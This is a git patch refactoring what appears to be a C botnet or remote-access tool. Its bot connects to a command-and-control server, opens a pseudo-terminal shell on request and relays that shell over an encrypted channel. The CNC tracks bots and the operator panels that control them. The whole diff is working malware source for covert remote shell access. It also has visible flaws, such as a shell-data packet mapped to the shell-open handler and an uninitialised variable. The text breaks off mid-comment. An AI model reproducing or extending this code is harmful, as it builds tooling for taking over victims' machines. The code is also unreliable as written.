From 8438378560a799ac1d6f03526e989ba0d6e897f0 Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 28 Feb 2022 16:27:55 -0600 Subject: [PATCH] Major refactoring lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough. --- bot/include/bot.h | 2 +- bot/include/shell.h | 3 +- bot/src/bot.c | 45 ++++---- bot/src/main.c | 9 +- bot/src/shell.c | 51 ++++----- cnc/include/cnc.h | 37 ++++++- cnc/include/cpanel.h | 9 +- cnc/src/cnc.c | 232 +++++++++++++++++++++++++++++++++------- cnc/src/cpanel.c | 94 +++++++++------- lib/include/lerror.h | 1 - lib/include/lpacket.h | 15 ++- lib/include/lpeer.h | 17 ++- lib/include/lpolllist.h | 3 - lib/src/lpeer.c | 70 +++++++----- lib/src/lpolllist.c | 23 ---- lib/src/lsocket.c | 10 +- panel/src/main.c | 2 +- panel/src/panel.c | 2 +- panel/src/pclient.c | 6 +- shell/src/sclient.c | 42 ++++---- shell/src/speer.c | 2 +- 21 files changed, 424 insertions(+), 251 deletions(-) diff --git a/bot/include/bot.h b/bot/include/bot.h index 4b17f34..faf4ffc 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -13,7 +13,7 @@ struct sLaika_bot { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_pollList pList; struct sLaika_peer *peer; - struct sLaika_shell *shells[LAIKA_MAX_SHELLS]; + struct sLaika_shell *shell; }; struct sLaika_bot *laikaB_newBot(void); diff --git a/bot/include/shell.h b/bot/include/shell.h index 19fa017..6fe188d 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -7,10 +7,9 @@ struct sLaika_bot; struct sLaika_shell { int pid; int fd; - int id; }; -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id); +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); /* handles reading & writing to shell pipes */ diff --git a/bot/src/bot.c b/bot/src/bot.c index a8d4148..fc17975 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -4,12 +4,6 @@ #include "bot.h" #include "shell.h" -LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t), - [LAIKAPKT_SHELL_OPEN] = sizeof(uint8_t), - [LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t), -}; - void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; uint8_t endianness = laikaS_readByte(&peer->sock); @@ -18,11 +12,23 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); } -PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_RES] = laikaB_handleHandshakeResponse, - [LAIKAPKT_SHELL_OPEN] = laikaB_handleShellOpen, - [LAIKAPKT_SHELL_CLOSE] = laikaB_handleShellClose, - [LAIKAPKT_SHELL_DATA] = laikaB_handleShellData, +struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, + laikaB_handleHandshakeResponse, + sizeof(uint8_t), + false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN, + laikaB_handleShellOpen, + 0, + false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, + laikaB_handleShellClose, + 0, + false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, + laikaB_handleShellOpen, + 0, + true), }; struct sLaika_bot *laikaB_newBot(void) { @@ -31,12 +37,11 @@ struct sLaika_bot *laikaB_newBot(void) { char *tempIPBuf; size_t _unused; - memset(bot->shells, 0, sizeof(bot->shells)); + bot->shell = NULL; laikaP_initPList(&bot->pList); bot->peer = laikaS_newPeer( - laikaB_handlerTbl, - laikaB_pktSizeTbl, + laikaB_pktTbl, &bot->pList, (void*)bot ); @@ -85,11 +90,9 @@ void laikaB_freeBot(struct sLaika_bot *bot) { laikaP_cleanPList(&bot->pList); laikaS_freePeer(bot->peer); - /* clear shells */ - for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - if (bot->shells[i]) - laikaB_freeShell(bot, bot->shells[i]); - } + /* clear shell */ + if (bot->shell) + laikaB_freeShell(bot, bot->shell); laikaM_free(bot); } @@ -115,10 +118,10 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */ if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) - LAIKA_ERROR("failed to gen session key!\n") + LAIKA_ERROR("failed to gen session key!\n"); if (!laikaS_handlePeerOut(bot->peer)) - LAIKA_ERROR("failed to send handshake request!\n") + LAIKA_ERROR("failed to send handshake request!\n"); } void laikaB_flushQueue(struct sLaika_bot *bot) { diff --git a/bot/src/main.c b/bot/src/main.c index 91d2af6..5ddb18f 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -10,14 +10,9 @@ struct sLaika_taskService tService; void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { struct sLaika_shell *shell; struct sLaika_bot *bot = (struct sLaika_bot*)uData; - int i; - for (i = 0; i < LAIKA_MAX_SHELLS; i++) { - shell = bot->shells[i]; - if (shell) { - laikaB_readShell(bot, shell); - } - } + if (bot->shell) + laikaB_readShell(bot, shell); } int main(int argv, char **argc) { diff --git a/bot/src/shell.c b/bot/src/shell.c index 574565f..550015c 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -10,9 +10,8 @@ #include "bot.h" #include "shell.h" -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) { +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot) { struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); - shell->id = id; shell->pid = forkpty(&shell->fd, NULL, NULL, NULL); @@ -28,7 +27,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) { LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); } - bot->shells[id] = shell; + bot->shell = shell; return shell; } @@ -37,8 +36,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { kill(shell->pid, SIGTERM); close(shell->fd); - bot->shells[shell->id] = NULL; - + bot->shell = NULL; laikaM_free(shell); } @@ -52,7 +50,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { if (rd > 0) { /* we read some input! send to cnc */ laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_writeByte(sock, shell->id); laikaS_write(sock, readBuf, rd); laikaS_endVarPacket(peer); } else if (rd == -1) { @@ -61,9 +58,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { /* not EWOULD or EAGAIN, must be an error! so close the shell */ /* tell cnc shell is closed */ - laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - laikaS_writeByte(sock, shell->id); - laikaS_endOutPacket(peer); + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); /* kill shell */ laikaB_freeShell(bot, shell); @@ -87,9 +82,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char /* unrecoverable error */ /* tell cnc shell is closed */ - laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - laikaS_writeByte(sock, shell->id); - laikaS_endOutPacket(peer); + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); /* kill shell */ laikaB_freeShell(bot, shell); @@ -107,46 +100,38 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char return true; } -/* ================================================[[ Handlers ]]================================================ */ +/* ============================================[[ Packet Handlers ]]============================================= */ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; - uint8_t id = laikaS_readByte(&peer->sock); - /* check if shell id is in use */ - if (id >= LAIKA_MAX_SHELLS || bot->shells[id]) - LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested invalid id! [%d]\n", id); + /* check if shell is already open */ + if (bot->shell) + LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n"); /* open shell */ - laikaB_newShell(bot, id); + laikaB_newShell(bot); } void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_bot *bot = (struct sLaika_bot*)uData; - uint8_t id = laikaS_readByte(&peer->sock); - /* check if shell id is in use */ - if (id >= LAIKA_MAX_SHELLS || bot->shells[id] == NULL) - LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested invalid id! [%d]\n", id); + /* check if shell is not running */ + if (bot->shell == NULL) + LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n"); /* close shell */ - laikaB_freeShell(bot, bot->shells[id]); + laikaB_freeShell(bot, bot->shell); } void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; struct sLaika_bot *bot = (struct sLaika_bot*)uData; - struct sLaika_shell *shell; - uint8_t id; + struct sLaika_shell *shell = bot->shell; - if (sz <= 1 || sz > (LAIKA_SHELL_DATA_MAX_LENGTH + 1)) - LAIKA_ERROR("malformed LAIKAPKT_SHELL_DATA!\n"); - - id = laikaS_readByte(&peer->sock); - - /* sanity check id & validate shell */ - if (id >= LAIKA_MAX_SHELLS || (shell = bot->shells[id]) == NULL) - LAIKA_ERROR("LAIKAPKT_SHELL_DATA sent invalid id! [%d]\n", id) + /* sanity check shell */ + if (bot->shell == NULL) + LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n"); /* read data buf */ laikaS_read(&peer->sock, buf, sz - 1); diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index d4f0340..4bb90c9 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -6,14 +6,36 @@ #include "lsocket.h" #include "lpolllist.h" #include "lpeer.h" +#include "hashmap.h" + +typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData); + +struct sLaika_peerInfo { + struct sLaika_cnc *cnc; +}; + +#define BASE_PEERINFO struct sLaika_peerInfo info; + +struct sLaika_botInfo { + BASE_PEERINFO + struct sLaika_peer *shellAuth; /* currently connected shell */ +}; + +struct sLaika_authInfo { + BASE_PEERINFO + struct sLaika_peer *shellBot; /* currently connected shell */ +}; + +#undef BASE_PEERINFO struct sLaika_cnc { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_socket sock; struct sLaika_pollList pList; - struct sLaika_peer **panels; /* holds connected panel peers */ - int panelCount; - int panelCap; + struct hashmap *peers; /* holds all peers, lookup using pubkey */ + struct sLaika_peer **authPeers; /* holds connected panel peers */ + int authPeersCount; + int authPeersCap; }; struct sLaika_cnc *laikaC_newCNC(uint16_t port); @@ -22,10 +44,15 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc); void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); -void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel); -void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel); +void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type); + +void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel); +void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel); void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer); bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout); +void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData); + +struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub); #endif \ No newline at end of file diff --git a/cnc/include/cpanel.h b/cnc/include/cpanel.h index 588517c..f55269f 100644 --- a/cnc/include/cpanel.h +++ b/cnc/include/cpanel.h @@ -3,8 +3,11 @@ #include "lpeer.h" -void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot); -void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot); -void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData); +void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); +void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); + +void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); #endif \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index b045455..9bd8e87 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -6,16 +6,61 @@ #include "cpanel.h" #include "cnc.h" -LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, - [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t), - [LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t) -}; +/* ===============================================[[ Peer Info ]]================================================ */ + +struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); + + pInfo->cnc = cnc; + return pInfo; +} + +struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); + + bInfo->shellAuth = NULL; + return bInfo; +} + +struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { + struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); + + aInfo->shellBot = NULL; + return aInfo; +} + +void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) { + peer->uData = NULL; + laikaM_free(pInfo); +} + +/* ==============================================[[ PeerHashMap ]]=============================================== */ + +typedef struct sCNC_PeerHashElem { + struct sLaika_peer *peer; + uint8_t *pub; +} tCNC_PeerHashElem; + +int cnc_PeerElemCompare(const void *a, const void *b, void *udata) { + const tCNC_PeerHashElem *ua = a; + const tCNC_PeerHashElem *ub = b; + + return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); +} + +uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) { + const tCNC_PeerHashElem *u = item; + return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ +} + +/* ============================================[[ Packet Handlers ]]============================================= */ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - uint8_t id = laikaS_readByte(&peer->sock); + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; + struct sLaika_cnc *cnc = bInfo->info.cnc; + uint8_t _res = laikaS_readByte(&peer->sock); - printf("Shell %d for peer %lx was closed.\n", id, peer); + } void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { @@ -23,7 +68,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD uint8_t id; if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) - LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!") + LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!"); id = laikaS_readByte(&peer->sock); laikaS_read(&peer->sock, (void*)buf, sz-1); @@ -32,7 +77,8 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char magicBuf[LAIKA_MAGICLEN]; - struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; + struct sLaika_cnc *cnc = pInfo->cnc; uint8_t major, minor; laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); @@ -58,7 +104,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v /* gen session keys */ if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) - LAIKA_ERROR("failed to gen session key!\n") + LAIKA_ERROR("failed to gen session key!\n"); /* encrypt all future packets */ laikaS_setSecure(peer, true); @@ -71,22 +117,54 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v /* handshake (mostly) complete */ laikaC_onAddPeer(cnc, peer); - LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); + LAIKA_DEBUG("accepted handshake from peer %p\n", peer); } -PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = laikaC_handleHandshakeRequest, - [LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = laikaC_handleAuthenticatedHandshake, - [LAIKAPKT_SHELL_DATA] = laikaC_handleShellData +/* =============================================[[ Packet Tables ]]============================================== */ + +#define DEFAULT_PKT_TBL \ + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \ + laikaC_handleHandshakeRequest, \ + LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, \ + false), \ + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \ + laikaC_handleAuthenticatedHandshake, \ + sizeof(uint8_t), \ + false) + +struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = { + DEFAULT_PKT_TBL, + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE, + laikaC_handleShellClose, + 0, + false), + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, + laikaC_handleShellData, + 0, + true), }; +struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = { + DEFAULT_PKT_TBL, + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, + laikaC_handleAuthenticatedHandshake, + crypto_kx_PUBLICKEYBYTES, + false), +}; + +#undef DEFAULT_PKT_TBL + +/* ==================================================[[ CNC ]]=================================================== */ + struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); size_t _unused; - cnc->panels = NULL; - cnc->panelCap = 4; - cnc->panelCount = 0; + /* init peer hashmap & panel list */ + cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL); + cnc->authPeers = NULL; + cnc->authPeersCap = 4; + cnc->authPeersCount = 0; /* init socket & pollList */ laikaS_initSocket(&cnc->sock); @@ -121,60 +199,102 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { void laikaC_freeCNC(struct sLaika_cnc *cnc) { laikaS_cleanSocket(&cnc->sock); laikaP_cleanPList(&cnc->pList); + hashmap_free(cnc->peers); laikaM_free(cnc); } void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; + /* add peer to panels list (if it's a panel) */ + if (peer->type == PEER_AUTH) + laikaC_addAuth(cnc, peer); + /* notify connected panels of the newly connected peer */ - for (i = 0; i < cnc->panelCount; i++) { - laikaC_sendNewPeer(cnc->panels[i], peer); + for (i = 0; i < cnc->authPeersCount; i++) { + laikaC_sendNewPeer(cnc->authPeers[i], peer); } + + /* add to peer lookup map */ + hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); } void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { int i; + /* remove peer from panels list (if it's a panel) */ + if (peer->type == PEER_AUTH) + laikaC_rmvAuth(cnc, peer); + /* notify connected panels of the disconnected peer */ - for (i = 0; i < cnc->panelCount; i++) { - if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */ - laikaC_sendRmvPeer(cnc->panels[i], peer); + for (i = 0; i < cnc->authPeersCount; i++) { + if (cnc->authPeers[i] != peer) /* don't send disconnect event to themselves */ + laikaC_sendRmvPeer(cnc->authPeers[i], peer); } + + /* remove from peer lookup map */ + hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); } -void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { +void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) { + /* free old peerInfo */ + laikaC_freePeerInfo(peer, peer->uData); + + /* update accepted packets */ + switch (type) { + case PEER_AUTH: + peer->packetTbl = laikaC_authPktTbl; + peer->uData = laikaC_newAuthInfo(cnc); + break; + case PEER_BOT: + peer->packetTbl = laikaC_botPktTbl; + peer->uData = laikaC_newBotInfo(cnc); + break; + default: + LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n"); + break; + } + + /* make sure to update connected peers */ + laikaC_onRmvPeer(cnc, peer); + peer->type = type; + + /* a new (but not-so-new) peer has arrived */ + laikaC_onAddPeer(cnc, peer); +} + +void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { int i; - for (i = 0; i < cnc->panelCount; i++) { - if (cnc->panels[i] == panel) { /* we found the index for our panel! */ - laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1); + for (i = 0; i < cnc->authPeersCount; i++) { + if (cnc->authPeers[i] == authPeer) { /* we found the index for our panel! */ + laikaM_rmvarray(cnc->authPeers, cnc->authPeersCount, i, 1); return; } } } -void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) { +void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { /* grow array if we need to */ - laikaM_growarray(struct sLaika_peer*, cnc->panels, 1, cnc->panelCount, cnc->panelCap); + laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap); - /* insert into authenticated panel table */ - cnc->panels[cnc->panelCount++] = panel; + /* insert into authenticated peer table */ + cnc->authPeers[cnc->authPeersCount++] = authPeer; - LAIKA_DEBUG("added panel %lx!\n", panel); + LAIKA_DEBUG("added panel %p!\n", authPeer); } void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { laikaC_onRmvPeer(cnc, peer); - /* remove peer from panels list (if it's a panel) */ - if (peer->type == PEER_PANEL) - laikaC_rmvPanel(cnc, peer); + /* free peerInfo if it's defined */ + if (peer->uData) + laikaC_freePeerInfo(peer, peer->uData); laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaS_freePeer(peer); - LAIKA_DEBUG("peer %lx killed!\n", peer); + LAIKA_DEBUG("peer %p killed!\n", peer); } void laikaC_flushQueue(struct sLaika_cnc *cnc) { @@ -184,7 +304,7 @@ void laikaC_flushQueue(struct sLaika_cnc *cnc) { /* flush pList's outQueue */ for (i = 0; i < cnc->pList.outCount; i++) { peer = cnc->pList.outQueue[i]; - LAIKA_DEBUG("sending OUT to %lx\n", peer); + LAIKA_DEBUG("sending OUT to %p\n", peer); if (!laikaS_handlePeerOut(peer)) laikaC_killPeer(cnc, peer); } @@ -208,10 +328,9 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { for (i = 0; i < numEvents; i++) { if (evnts[i].sock == &cnc->sock) { /* event on listener? */ peer = laikaS_newPeer( - laikaC_handlerTbl, - laikaC_pktSizeTbl, + laikaC_botPktTbl, &cnc->pList, - (void*)cnc + (void*)laikaC_newBotInfo(cnc) ); /* setup and accept new peer */ @@ -221,7 +340,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* add to our pollList */ laikaP_addSock(&cnc->pList, &peer->sock); - LAIKA_DEBUG("new peer %lx!\n", peer); + LAIKA_DEBUG("new peer %p!\n", peer); continue; } @@ -245,4 +364,35 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { laikaC_flushQueue(cnc); return true; +} + +struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) { + tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub}); + + return elem ? elem->peer : NULL; +} + +/* ===============================================[[ Peer Iter ]]================================================ */ + +struct sWrapperData { + tLaika_peerIter iter; + void *uData; +}; + +/* wrapper iterator */ +bool iterWrapper(const void *rawItem, void *uData) { + struct sWrapperData *data = (struct sWrapperData*)uData; + tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem; + return data->iter(item->peer, data->uData); +} + +void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) { + struct sWrapperData wrapper; + wrapper.iter = iter; + wrapper.uData = uData; + + /* iterate over hashmap calling our iterWrapper, pass the *real* iterator to + itemWrapper so that it can call it. probably a better way to do this + but w/e lol */ + hashmap_scan(cnc->peers, iterWrapper, &wrapper); } \ No newline at end of file diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index 48b88bb..bfd73a0 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -2,70 +2,82 @@ #include "cnc.h" #include "cpanel.h" -inline void checkAuthenticated(struct sLaika_peer *peer) { - if (peer->type != PEER_PANEL) - LAIKA_ERROR("malicious peer!"); -} +bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) { + struct sLaika_peer *authPeer = (struct sLaika_peer*)uData; -bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) { - struct sLaika_peer *peer = (struct sLaika_peer*)sock; - struct sLaika_peer *panel = (struct sLaika_peer*)uData; - struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData; - - /* make sure we're not sending cnc info lol, also don't send connection information about themselves */ - if (&peer->sock != &cnc->sock && peer != panel) { - LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel); - laikaC_sendNewPeer(panel, peer); + /* make sure we're not sending connection information to themselves */ + if (peer != authPeer) { + LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer); + laikaC_sendNewPeer(authPeer, peer); } return true; } -void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) { - laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES); +void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { + laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES); /* write the peer's info */ - laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub)); - laikaS_write(&panel->sock, peer->hostname, LAIKA_HOSTNAME_LEN); - laikaS_write(&panel->sock, peer->ipv4, LAIKA_IPV4_LEN); - laikaS_writeByte(&panel->sock, peer->type); + laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub)); + laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN); + laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN); + laikaS_writeByte(&authPeer->sock, peer->type); - laikaS_endOutPacket(panel); + laikaS_endOutPacket(authPeer); } -void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) { - laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES); +void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { + laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES); /* write the peer's pubkey */ - laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub)); - laikaS_writeByte(&panel->sock, peer->type); + laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub)); + laikaS_writeByte(&authPeer->sock, peer->type); - laikaS_endOutPacket(panel); + laikaS_endOutPacket(authPeer); } -void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; - panel->type = laikaS_readByte(&panel->sock); +/* ============================================[[ Packet 